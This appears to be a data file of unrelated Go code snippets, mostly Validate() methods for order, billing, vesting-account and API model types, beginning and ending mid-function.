{\n\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.item_variant.invalid\", i), \"Item Variant id is invalid\")\n\t\t}\n\n\t\tvar pt = &model.PricingType{ID: PricingID}\n\t\tpt.Read(\"ID\")\n\t\tvar iv = &model.ItemVariant{ID: IVariantID}\n\t\tiv.Read(\"ID\")\n\n\t\tIVPrice, err = getItemVariantPricing(pt, iv)\n\t\tif err == nil {\n\t\t\tif pt.ParentType != nil {\n\t\t\t\tif pt.RuleType == \"increment\" {\n\t\t\t\t\tif pt.IsPercentage == int8(1) {\n\t\t\t\t\t\ttemp := (pt.Nominal * IVPrice.UnitPrice) / float64(100)\n\t\t\t\t\t\tUnitA = IVPrice.UnitPrice + temp\n\t\t\t\t\t} else {\n\t\t\t\t\t\tUnitA = IVPrice.UnitPrice + pt.Nominal\n\t\t\t\t\t}\n\n\t\t\t\t\tif row.UnitPrice < UnitA {\n\t\t\t\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.unit_price.invalid\", i), \"Unit price is too small\")\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tif pt.IsPercentage == int8(1) {\n\n\t\t\t\t\t\ttemp := (pt.Nominal * IVPrice.UnitPrice) / float64(100)\n\t\t\t\t\t\tUnitA = IVPrice.UnitPrice - temp\n\t\t\t\t\t} else {\n\t\t\t\t\t\tUnitA = IVPrice.UnitPrice - pt.Nominal\n\t\t\t\t\t}\n\n\t\t\t\t\tif UnitA < 0 {\n\t\t\t\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.pricing_type.invalid\", i), \"Pricing type can make price become zero\")\n\t\t\t\t\t}\n\t\t\t\t\tif row.UnitPrice < UnitA {\n\t\t\t\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.unit_price.invalid\", i), \"Unit price is too small\")\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif row.UnitPrice < IVPrice.UnitPrice {\n\t\t\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.unit_price.invalid\", i), \"Unit price is too small\")\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.unit_price.invalid\", i), \"item variant price doesn't exist\")\n\t\t}\n\n\t\tItemVariant, err = inventory.GetDetailItemVariant(\"id\", IVariantID)\n\t\tif err != nil || ItemVariant == nil || ItemVariant.IsDeleted == int8(1) || ItemVariant.IsArchived == int8(1) {\n\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.item_variant_id.invalid\", i), \"Item variant id not found\")\n\t\t} else {\n\n\t\t\t// cek stock dari item variant sama quantity soi\n\t\t\tif (checkVariant[ItemVariant.ID].AvailableStock - ItemVariant.CommitedStock) < row.Quantity {\n\t\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.quantity.invalid\", i), \"Stock item is not enough to be sold\")\n\t\t\t}\n\n\t\t\t//check duplicate item variant id\n\t\t\tif checkDuplicate[row.ItemVariantID] == true {\n\t\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.item_variant_id.invalid\", i), \" item variant id duplicate\")\n\t\t\t} else {\n\t\t\t\tcheckDuplicate[row.ItemVariantID] = true\n\t\t\t}\n\t\t}\n\n\t\tdiscamount := (row.UnitPrice * float64(row.Discount)) / float64(100)\n\t\tcuramount := row.UnitPrice * float64(row.Quantity)\n\t\tsubtotal := common.FloatPrecision(curamount-discamount, 0)\n\n\t\tr.TotalPrice += subtotal\n\t}\n\n\tif r.IsPercentageDiscount == int8(1) {\n\t\tif r.Discount < 0 || r.Discount > float32(100) {\n\t\t\to.Failure(\"discount\", \"discount is less than and equal 0 or greater than 100\")\n\t\t}\n\t}\n\n\treturn o\n}", "func (o *OrderItem) Validate(tx *pop.Connection) (*validate.Errors, error) {\n\treturn validate.NewErrors(), nil\n}", "func (r *Sub1099A) Validate() error {\n\treturn utils.Validate(r, config.Sub1099ALayout, config.Sub1099AType)\n}", "func validateNewInvoideData(stub shim.ChaincodeStubInterface, args []string) []byte {\r\n\tvar output string\r\n\tmsg := validateInvoiceDetails(stub, args)\r\n\r\n\tif msg == \"\" {\r\n\t\toutput = \"{\\\"validation\\\":\\\"Success\\\",\\\"msg\\\" : \\\"\\\" }\"\r\n\t} else {\r\n\t\toutput = \"{\\\"validation\\\":\\\"Failure\\\",\\\"msg\\\" : \\\"\" + msg + \"\\\" }\"\r\n\t}\r\n\treturn []byte(output)\r\n}", "func (it Item) Validate() error {\n\tvar err error\n\treturn err\n}", "func (r *updateRequest) Validate() *validation.Output {\n\to := &validation.Output{Valid: true}\n\tvar err error\n\t// cek document status so\n\tif r.SalesOrder.DocumentStatus != \"new\" {\n\t\to.Failure(\"document_status\", \"document_status should be new\")\n\t}\n\n\tcheckDuplicate := make(map[string]bool)\n\tcheckVariant := make(map[int64]*model.ItemVariant)\n\n\ttz := time.Time{}\n\tif r.EtaDate == tz {\n\t\to.Failure(\"eta_date\", \"Field is required.\")\n\t}\n\n\tfor _, row := range r.SalesOrderItem {\n\t\tIVariantID, _ := common.Decrypt(row.ItemVariantID)\n\t\tivar := &model.ItemVariant{ID: IVariantID}\n\t\tivar.Read(\"ID\")\n\t\t////////////////////////////////\n\t\tif checkVariant[ivar.ID] == nil {\n\t\t\tivar.CommitedStock -= row.Quantity\n\t\t\tcheckVariant[ivar.ID] = ivar\n\t\t} else {\n\t\t\tvariant := checkVariant[ivar.ID]\n\t\t\tvariant.CommitedStock -= row.Quantity\n\t\t\tcheckVariant[ivar.ID] = variant\n\t\t}\n\t\t////////////////////////////////\n\t}\n\n\t// cek setiap sales order item\n\tfor i, row := range r.SalesOrderItem {\n\t\t// validasi id\n\t\tif row.ID != \"\" {\n\t\t\tif ID, err := common.Decrypt(row.ID); err != nil {\n\t\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.id.invalid\", i), \"id is not valid\")\n\t\t\t} else {\n\t\t\t\tsoItem := &model.SalesOrderItem{ID: ID}\n\t\t\t\tif err := soItem.Read(); err != nil {\n\t\t\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.id.invalid\", i), \"id is not found\")\n\t\t\t\t}\n\n\t\t\t\t//check duplicate sales order item id\n\t\t\t\tif checkDuplicate[row.ID] == true {\n\t\t\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.id.invalid\", i), \"id duplicate\")\n\t\t\t\t} else {\n\t\t\t\t\tcheckDuplicate[row.ID] = true\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tvar UnitA float64\n\t\tvar PricingID, IVariantID int64\n\t\tvar ItemVariant *model.ItemVariant\n\t\tvar IVPrice *model.ItemVariantPrice\n\t\t// cek pricing type\n\t\tPricingID, err = common.Decrypt(row.PricingType)\n\t\tif err != nil {\n\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.pricing_type.invalid\", i), \"Pricing type id is invalid\")\n\t\t} else {\n\t\t\tif _, err = pricingType.GetPricingTypeByID(PricingID); err != nil {\n\t\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.pricing_type.invalid\", i), \"Pricing type id is not found\")\n\t\t\t}\n\t\t}\n\n\t\tIVariantID, err = common.Decrypt(row.ItemVariantID)\n\t\tif err != nil {\n\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.item_variant.invalid\", i), \"Item Variant id is invalid\")\n\t\t}\n\n\t\tvar pt = &model.PricingType{ID: PricingID}\n\t\tpt.Read(\"ID\")\n\t\tvar iv = &model.ItemVariant{ID: IVariantID}\n\t\tiv.Read(\"ID\")\n\n\t\tIVPrice, err = getItemVariantPricing(pt, iv)\n\t\tif err == nil {\n\t\t\tif pt.ParentType != nil {\n\t\t\t\tif pt.RuleType == \"increment\" {\n\t\t\t\t\tif pt.IsPercentage == int8(1) {\n\t\t\t\t\t\ttemp := (pt.Nominal * IVPrice.UnitPrice) / float64(100)\n\t\t\t\t\t\tUnitA = IVPrice.UnitPrice + temp\n\t\t\t\t\t} else {\n\t\t\t\t\t\tUnitA = IVPrice.UnitPrice + pt.Nominal\n\t\t\t\t\t}\n\n\t\t\t\t\tif row.UnitPrice < UnitA {\n\t\t\t\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.unit_price.invalid\", i), \"Unit price is too small\")\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tif pt.IsPercentage == int8(1) {\n\t\t\t\t\t\ttemp := (pt.Nominal * IVPrice.UnitPrice) / float64(100)\n\t\t\t\t\t\tUnitA = IVPrice.UnitPrice - temp\n\t\t\t\t\t} else {\n\t\t\t\t\t\tUnitA = IVPrice.UnitPrice - pt.Nominal\n\t\t\t\t\t}\n\n\t\t\t\t\tif UnitA < 0 {\n\t\t\t\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.pricing_type.invalid\", i), \"Pricing type can make price become zero\")\n\t\t\t\t\t}\n\n\t\t\t\t\tif row.UnitPrice < UnitA {\n\t\t\t\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.unit_price.invalid\", i), \"Unit price is too small\")\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif row.UnitPrice < IVPrice.UnitPrice {\n\t\t\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.unit_price.invalid\", i), \"Unit price is too small\")\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.unit_price.invalid\", i), \"item variant price doesn't exist\")\n\t\t}\n\n\t\tItemVariant, err = inventory.GetDetailItemVariant(\"id\", IVariantID)\n\t\tif err != nil || ItemVariant == nil || ItemVariant.IsDeleted == int8(1) || ItemVariant.IsArchived == int8(1) {\n\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.item_variant_id.invalid\", i), \"Item variant id not found\")\n\t\t} else {\n\n\t\t\tSoItemID, _ := common.Decrypt(row.ID)\n\t\t\tSoItem := &model.SalesOrderItem{ID: SoItemID}\n\t\t\tif e := SoItem.Read(\"ID\"); e != nil {\n\t\t\t\tSoItem.Quantity = 0\n\t\t\t}\n\n\t\t\t// cek stock item variant\n\t\t\tif ((checkVariant[ItemVariant.ID].AvailableStock - checkVariant[ItemVariant.ID].CommitedStock) + SoItem.Quantity) < row.Quantity {\n\t\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.quantity.invalid\", i), \"Stock item is not enough to be sold\")\n\t\t\t}\n\n\t\t\tcheckVariant[ItemVariant.ID].CommitedStock += row.Quantity\n\n\t\t\t//check duplicate item variant id\n\t\t\tif checkDuplicate[row.ItemVariantID] == true {\n\t\t\t\to.Failure(fmt.Sprintf(\"sales_order_item.%d.item_variant_id.invalid\", i), \" item variant id duplicate\")\n\t\t\t} else {\n\t\t\t\tcheckDuplicate[row.ItemVariantID] = true\n\t\t\t}\n\n\t\t}\n\n\t\t// Calculate total price\n\t\tdiscamount := (row.UnitPrice * float64(row.Discount)) / float64(100)\n\t\tcuramount := row.UnitPrice * float64(row.Quantity)\n\t\tsubtotal := common.FloatPrecision(curamount-discamount, 0)\n\n\t\tr.TotalPrice += subtotal\n\t}\n\n\tif r.IsPercentageDiscount == int8(1) {\n\t\tif r.Discount < 0 || r.Discount > float32(100) {\n\t\t\to.Failure(\"discount\", \"discount is less than and equal 0 or greater than 100\")\n\t\t}\n\t}\n\n\treturn o\n}", "func (m *AgreementProductsSubFilter) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "func (bva BaseVestingAccount) Validate() error {\n\tif !(bva.DelegatedVesting.IsAllLTE(bva.OriginalVesting)) {\n\t\treturn errors.New(\"delegated vesting amount cannot be greater than original vesting amount\")\n\t}\n\treturn bva.BaseAccount.Validate()\n}", "func (o *ScanProductsBody) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := o.validateBody(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func (m *SubscriptionImportSubscriptionRequest) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateAutoCollection(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateBillingAddressValidationStatus(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateCardGateway(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateCustomerAutoCollection(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateCustomerEntityCode(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateCustomerTaxability(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validatePaymentMethodGateway(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validatePaymentMethodType(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateShippingAddressValidationStatus(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateStatus(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func (m *PublicPhaseSubDTO) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "func (m *Reservation) Validate() error {\n\tif m == nil {\n\t\treturn nil\n\t}\n\n\t// no validation rules for UserId\n\n\tif v, ok := interface{}(m.GetTimestamp()).(interface{ Validate() error }); ok {\n\t\tif err := v.Validate(); err != nil {\n\t\t\treturn ReservationValidationError{\n\t\t\t\tfield: \"Timestamp\",\n\t\t\t\treason: \"embedded message failed validation\",\n\t\t\t\tcause: err,\n\t\t\t}\n\t\t}\n\t}\n\n\t// no validation rules for Items\n\n\t// no validation rules for Days\n\n\t// no validation rules for Amount\n\n\t// no validation rules for MerchantId\n\n\treturn nil\n}", "func (d Draw) Validate() error {\n\tif d.TicketsSold < d.Participants {\n\t\treturn fmt.Errorf(\"tickets sold cannot be less then the participants\")\n\t}\n\n\terr := d.Prize.Validate()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif d.EndTime.IsZero() {\n\t\treturn fmt.Errorf(\"invalid draw end time\")\n\t}\n\n\treturn nil\n}", "func (e *RetrieveBalance) Validate(\n\tr *http.Request,\n) error {\n\tctx := r.Context()\n\n\t// Validate id.\n\tid, owner, token, err := ValidateID(ctx, pat.Param(r, \"balance\"))\n\tif err != nil {\n\t\treturn errors.Trace(err)\n\t}\n\te.ID = *id\n\te.Token = *token\n\te.Owner = *owner\n\n\treturn nil\n}", "func (o *PostRetentionsIDExecutionsBody) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "func (m *Obligation) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateBalance(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateParticipantID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func (m *CreatePurchaseRequest) Validate() error {\n\tif m == nil {\n\t\treturn nil\n\t}\n\n\t// no validation rules for AccessToken\n\n\t// no validation rules for Items\n\n\treturn nil\n}", "func (m *InlineResponse2014) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateResourceType(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateEmbedded(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateLinks(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateConnectionURL(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateCreatedAt(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateCurrentKmsArn(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateDockerRepo(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateHandle(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateInitialContainerSize(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateInitialDiskSize(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validatePassphrase(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validatePortMapping(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateProvisioned(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateStatus(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateType(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateUpdatedAt(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func (m *CreatePurchaseResponse) Validate() error {\n\tif m == nil {\n\t\treturn nil\n\t}\n\n\t// no validation rules for PurchaseId\n\n\tif v, ok := interface{}(m.GetPurchase()).(interface{ Validate() error }); ok {\n\t\tif err := v.Validate(); err != nil {\n\t\t\treturn CreatePurchaseResponseValidationError{\n\t\t\t\tfield: \"Purchase\",\n\t\t\t\treason: \"embedded message failed validation\",\n\t\t\t\tcause: err,\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}", "func (m *Part) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func (commit ObjectCommit) Validate() error {\n\tif commit.FormID == 0 {\n\t\treturn fmt.Errorf(errFieldMustBeGreaterThanZero, \"FormID\")\n\t} else if commit.ShadowID == 0 {\n\t\treturn fmt.Errorf(errFieldMustBeGreaterThanZero, \"ShadowID\")\n\t}\n\n\treturn nil\n}", "func (m *CreateReservationRequest) Validate() error {\n\tif m == nil {\n\t\treturn nil\n\t}\n\n\t// no validation rules for AccessToken\n\n\t// no validation rules for ProductId\n\n\t// no validation rules for Days\n\n\treturn nil\n}", "func (m *RetrievePurchaseResponse) Validate() error {\n\tif m == nil {\n\t\treturn nil\n\t}\n\n\t// no validation rules for PurchaseId\n\n\tif v, ok := interface{}(m.GetPurchase()).(interface{ Validate() error }); ok {\n\t\tif err := v.Validate(); err != nil {\n\t\t\treturn RetrievePurchaseResponseValidationError{\n\t\t\t\tfield: \"Purchase\",\n\t\t\t\treason: \"embedded message failed validation\",\n\t\t\t\tcause: err,\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}", "func (m *IndiceStatus) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateDeleting(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validatePending(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateReady(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateRestoring(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func (m *PTXServiceDTOBusSpecificationV2N1Estimate) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "func (o *OrganizerInvitation) Validate(tx *pop.Connection) (*validate.Errors, error) {\n\treturn validate.Validate(\n\t\t&validators.IntIsPresent{Field: o.ID, Name: \"ID\"},\n\t\t&validators.StringIsPresent{Field: o.Email, Name: \"Email\"},\n\t\t&validators.StringIsPresent{Field: o.Token, Name: \"Token\"},\n\t\t&validators.StringIsPresent{Field: o.State, Name: \"State\"},\n\t), nil\n}", "func (o *GetOrderShipmentOKBodyItemsItems0) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "func (m *ListInvoicesRequest) ContextValidate(ctx context.Context, formats strfmt.Registry) error {\n\treturn nil\n}", "func (e *Exhibition) Validate() (err ValidationError) {\n\tif len(e.Id) == 0 {\n\t\terr = err.Append(\"Invalid id: \" + e.Id + \" should not empty\")\n\t}\n\tif !IsUUID(e.GalleryId) {\n\t\terr = err.Append(\"Invalid gallery_id: \" + e.GalleryId + \" should be UUID\")\n\t}\n\treturn\n}", "func (m *Credit) Validate() error {\n\tif m == nil {\n\t\treturn nil\n\t}\n\n\t// no validation rules for Id\n\n\t// no validation rules for Credits\n\n\tif v, ok := interface{}(m.GetExpireOn()).(interface{ Validate() error }); ok {\n\t\tif err := v.Validate(); err != nil {\n\t\t\treturn CreditValidationError{\n\t\t\t\tfield: \"ExpireOn\",\n\t\t\t\treason: \"embedded message failed validation\",\n\t\t\t\tcause: err,\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}", "func (l *Loan) Valid() error {\n\tif l.BookID <= 0 {\n\t\treturn errors.New(\"BookID is not valid, because it's need to be greater or equal 0\")\n\t}\n\n\tif l.From <= 0 {\n\t\treturn errors.New(\"The id is not valid, because it's need to be greater or equal 0\")\n\t}\n\n\tif l.To <= 0 {\n\t\treturn errors.New(\"The id is not valid, because it's need to be greater or equal 0\")\n\t}\n\treturn nil\n}", "func (o *GetInteractionsInteractionFidOKBody) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\t// validation for a type composition with models.Envelope\n\tif err := o.Envelope.Validate(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateData(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func (p *PaymentCreditJournalBatch) validate() error {\n\tfor i, l := range p.Lines {\n\t\tif l.Chapter == 0 {\n\t\t\treturn fmt.Errorf(\"ligne %d chapter nul\", i)\n\t\t}\n\t\tif l.Function == 0 {\n\t\t\treturn fmt.Errorf(\"ligne %d function nul\", i)\n\t\t}\n\t\tif l.CreationDate == 0 {\n\t\t\treturn fmt.Errorf(\"ligne %d creation date nul\", i)\n\t\t}\n\t\tif l.ModificationDate == 0 {\n\t\t\treturn fmt.Errorf(\"ligne %d modification date nul\", i)\n\t\t}\n\t\tif l.Name == \"\" {\n\t\t\treturn fmt.Errorf(\"ligne %d name nul\", i)\n\t\t}\n\t\tif l.Value == 0 {\n\t\t\treturn fmt.Errorf(\"ligne %d value nul\", i)\n\t\t}\n\t}\n\treturn nil\n}", "func Validate(a interface{}) error {\n\terr := val.Struct(a)\n\t// translate all error at once\n\tif err != nil {\n\t\terrs := err.(validator.ValidationErrors)\n\t\tvar errMsg []string\n\t\tfor _, e := range errs {\n\t\t\terrMsg = append(errMsg, getErrorMessage(e))\n\t\t}\n\t\treturn errors.NewCommonEdgeX(errors.KindContractInvalid, strings.Join(errMsg, \"; \"), nil)\n\t}\n\treturn nil\n}", "func (m *SnapshotPolicyInlineCopiesInlineArrayItem) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateSchedule(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func (r *Sub1098E) Validate() error {\n\treturn utils.Validate(r, config.Sub1098ELayout, config.Sub1098EType)\n}", "func (m *RevenueData) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "func (m *ConfirmPurchaseRequest) Validate() error {\n\tif m == nil {\n\t\treturn nil\n\t}\n\n\t// no validation rules for AccessToken\n\n\t// no validation rules for PurchaseId\n\n\treturn nil\n}", "func (m *CartFullLineItemsItems0CustomItemsItems0) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "func (m *Eutracgi) Validate() error {\n\treturn m.validate(false)\n}", "func (vr *VaultRecord) Validate() error {\n\treturn vr.TotalShares.Validate()\n}", "func (m *PaymentSummary) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validatePaymentMethod(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func (m *Customer) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateAutoCollection(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateBalances(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateBillingAddress(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateBillingDateMode(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateBillingDayOfWeek(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateBillingDayOfWeekMode(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateContacts(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateEntityCode(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateFraudFlag(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validatePaymentMethod(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateReferralUrls(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateTaxability(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func (c Create) Validate(_ context.Context, tx goes.Tx, agg goes.Aggregate) error {\n\t// user := *agg.(*User)\n\t// _ = user\n\treturn validateFirstName(c.FirstName)\n}", "func (m *RegionDataItem) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateCurrencyCode(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateCurrencyNamespace(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateCurrencyType(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateDiscountAmount(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateDiscountExpireAt(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateDiscountPercentage(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateDiscountPurchaseAt(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateExpireAt(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validatePrice(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validatePurchaseAt(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func (o *GetSearchbyIDOKBody) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "func (o *CancelAppointmentBody) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := o.validateBeneficiaries(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateCenterID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateDate(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateSlotID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func (cva ContinuousVestingAccount) Validate() error {\n\tif cva.GetStartTime() >= cva.GetEndTime() {\n\t\treturn errors.New(\"vesting start-time cannot be before end-time\")\n\t}\n\n\treturn cva.BaseVestingAccount.Validate()\n}", "func (a DebtAuction) Validate() error {\n\tif !a.CorrespondingDebt.IsValid() {\n\t\treturn fmt.Errorf(\"invalid corresponding debt: %s\", a.CorrespondingDebt)\n\t}\n\treturn ValidateAuction(&a)\n}", "func (o *CustomFieldsItems0) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "func (v *VendorItem) Validate(tx *pop.Connection) (*validate.Errors, error) {\n\treturn validate.Validate(\n\t\t&validators.StringIsPresent{Field: \"PurchasedUnit\", Name: \"PurchasedUnit\"},\n\t\t&validators.FuncValidator{\n\t\t\tField: \"Conversion\",\n\t\t\tName: \"Conversion\",\n\t\t\tMessage: \"Must have conversion greater than 0\",\n\t\t\tFn: func() bool {\n\t\t\t\treturn v.Conversion > 0\n\t\t\t},\n\t\t},\n\t), nil\n}", "func (m *CartFullDiscountsItems0) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "func (a *Doc) Validate() error {\n\treturn nil\n}", "func (m *LineItemGiftCertificatesItems0Recipient) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "func (m *CoseV001SchemaData) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateEnvelopeHash(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validatePayloadHash(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func (m *InterruptionResource) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateCreated(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := 